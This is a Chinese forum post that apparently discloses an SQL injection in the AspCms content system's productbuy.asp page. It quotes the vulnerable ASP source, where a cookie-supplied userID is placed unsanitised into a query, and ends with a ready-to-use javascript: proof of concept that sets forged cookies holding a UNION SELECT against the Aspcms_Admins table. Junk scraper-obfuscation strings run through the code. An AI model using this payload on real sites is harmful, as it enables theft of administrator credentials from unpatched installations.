好久没上土司了,上来一看发现在删号名单内.....
+ i0 x5 A$ v5 B6 O4 k( K% q1 b也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
* P5 E, D$ Q9 {废话不多说,看代码:& U1 I; }; l% Z* M8 \
& {- r" i! u# g: F<%7 {. B; G7 e& y/ j. L% S
) H: X6 u: u4 T) Y' F
if action = "buy" then
. L! H& E ~7 M% U& h- g
% P2 X2 f4 y7 e$ C) S addOrder()6 j- X |2 Y, I, B' C, i0 N
3 Z6 Z n# F3 g4 I* U# U
else
+ V; o/ N* g1 F* w3 U, H
) A. r: L+ g% ? echoContent()0 Y1 v* ], K" @7 G0 Y, ~4 Q
- f- K) f4 `- A+ Q$ y v5 c
end if8 z! Z5 q2 V' L, _( x. M
7 `" C2 F% S3 u* v; n5 w6 X
4 V$ B) z& b( }$ P+ j* i+ l$ w4 n/ S/ p) @* P/ I
……略过
1 \- j/ P! d& T. W4 E* S
0 ~( P5 B. i& L8 q' ~
- M" p' n1 q2 {; f
* F* w" p4 E- U# W. M8 P B6 V7 kSub echoContent()
: e X R7 T- j
+ A6 f4 o9 [) o' x0 Z dim id% F, K1 B* Z4 {* O
+ F- ?# t; Q! [7 ]3 Z% _: x2 Q+ ~3 k
id=getForm("id","get")8 F/ {; Q# Y/ c6 F* n3 R$ T
+ d9 K8 Q: a2 G R8 y/ V2 [- @ . w' j4 J/ G# K0 J8 @1 Y6 h" N0 S8 }
9 v- a+ J: f$ b- g
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
5 p0 v" |5 Q5 h. X4 ^4 e
! E; }- I. H. z. K- v7 n
X" E" R$ ]3 Z5 t* P8 Y% M0 {/ A c9 h, }5 C9 o1 N1 u7 a2 S' \
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
; M$ U8 ]5 p9 g, h; q! j+ v! M! H. x3 R, V M3 Z/ y0 u% ~
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
2 D& x [) g, Z- e O# y( Q) M/ B0 a: S/ [
Dim templatePath,tempStr
& q* d. z3 D& V. f& S7 Z x5 ]5 m/ D* p& r2 _1 K
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
7 N, A4 D# M9 Q: j# R; O
* j- h1 r) e1 X& r
4 P8 I. k! _1 ]8 H. `- w$ X
9 t! |. c0 F' f5 I$ X' Z2 Q1 ]4 O set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")# w% f, j k# X
1 v$ X1 g) p7 Q" i5 M# w& K4 l; B selectproduct=rsObj(0)
$ }2 V5 c- @2 e' a7 `, r8 X' W3 h* `9 D5 J5 B
# ~; _+ ?: D J9 ^+ |; u
' r9 Z" _' A6 ?4 Z) R Dim linkman,gender,phone,mobile,email,qq,address,postcode- `. y* j! y, K) o/ U
; d$ U1 ~: m/ \6 L+ S
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",02 A3 T* R; ?/ ]% f: U/ w5 a( ?1 x
% l' G( k d- m. T5 e if rCookie("loginstatus")=1 then 4 W7 g! f8 h$ W+ X4 r' C% o
1 C5 l4 S- h0 z
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")" B# V/ p7 t3 }4 d/ g
6 x2 L( U: U O, w! y linkman=rsObj("truename")+ X7 Y- b, B% T) ?: Z
0 y3 o6 C" u4 C( r3 r gender=rsObj("gender")
, U8 U3 O/ {6 O( I" h
. T0 B% ^3 `) i: b phone=rsObj("phone")
7 O) r: s* N$ ~) [1 ?9 X. t' O1 u# }4 k5 Q4 J9 n5 c
mobile=rsObj("mobile")
& i2 n$ c/ p) N3 l% Y& V! N; f9 N G+ J/ b# h" w" X9 @
email=rsObj("email")
" d6 D l9 E1 m: S& }) Y
4 P% u5 z9 _$ P' m; c qq=rsObj("qq")
! o K! a* K. A1 m$ n
q+ m% P7 T4 q- T) O address=rsObj("address")
8 l$ s5 }- o( p" M! A; q P1 {5 M, ~1 G4 d$ P! i
postcode=rsObj("postcode")
( m3 w, K( X. j2 S; m2 z( U4 x& l- s. x3 e
else
4 o9 c! X% x2 `. ?
- f1 P" r7 q+ X+ ?$ Z5 i gender=1, g/ H5 X# p# { y+ ?
t7 x) s1 h- w& n
end if& P) B: N) q3 W0 a
2 A4 ]/ h; X$ P b' }% _! L# P
rsObj.close()
" `$ u* P- A1 l" B+ O7 i- H0 C* f& K5 Y3 H
7 _3 v4 ^* X7 ` i: r4 r5 R- K
. }& I( n4 C& k% ~
with templateObj ; c: h% n) s5 B7 x# M$ U5 O6 v
3 L5 R9 x% t$ G8 ~1 r" a. _' y
.content=loadFile(templatePath) 9 c: F6 z4 P' a$ q; b4 u
8 O) D2 Z" Q z o) _ .parseHtml(); G) {: N- H3 ?
: X/ K1 z: q: e: {$ w" l% p O0 i& | .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
: T6 j$ g6 S* v, q* |( n- i( U6 Y. G& [$ c. [( e
.content=replaceStr(.content,"[aspcms:linkman]",linkman) . n+ v; x! e6 Z0 J. B: t9 \1 G: K
0 Z) j# K7 i; N9 G9 C: P& A! e
.content=replaceStr(.content,"[aspcms:gender]",gender)
% O$ {- m; R, |$ {4 L1 h# h7 W& E" m) w6 G7 P0 Z6 S1 J) T
.content=replaceStr(.content,"[aspcms:phone]",phone) ; u3 G2 J1 `) Z
2 w5 T( C; b2 _, G: j2 T' } .content=replaceStr(.content,"[aspcms:mobile]",mobile) . W0 F% X. y) K: Z
8 p1 s7 G |0 l( ~. x .content=replaceStr(.content,"[aspcms:email]",email)
" f. e4 O8 Q B# g' H+ c6 Y4 Y6 D
6 `7 O& N- u& K0 Y .content=replaceStr(.content,"[aspcms:qq]",qq)
# L" q, C G: e( r) [% i& _+ c8 r. f0 b+ [# a, Y
.content=replaceStr(.content,"[aspcms:address]",address) 2 }/ Z, \( G3 F; p C$ |
$ q4 Z+ X' ]9 B* D# N .content=replaceStr(.content,"[aspcms:postcode]",postcode) - n! I* L, g4 N+ v8 ~ n$ f
4 ? L- v( x: n- @# _ .parseCommon() 6 Z; a6 P& ^7 {1 j; N0 r
! h4 ]9 B9 \3 K& C( T echo .content $ z: R7 r. a T
2 P/ |0 f" L4 O* _. u7 C end with9 @' N/ m# M7 x0 p
6 X# y$ R% X! c3 I set templateobj =nothing : terminateAllObjects
9 R- \: I7 ~0 K: H/ O# D; f- U$ Y/ {3 _8 \ h# R3 V
End Sub! u4 m& e5 h) C
漏洞很明显,没啥好说的% O# V# B; _. f$ l7 X) w, w+ ]4 G
poc:! c2 W) n8 |+ N; ?
/ B; |8 i. E9 k* T- Rjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子9 Y- ]; P) {$ {: l+ \& }
3 W7 v9 h2 v- H; n |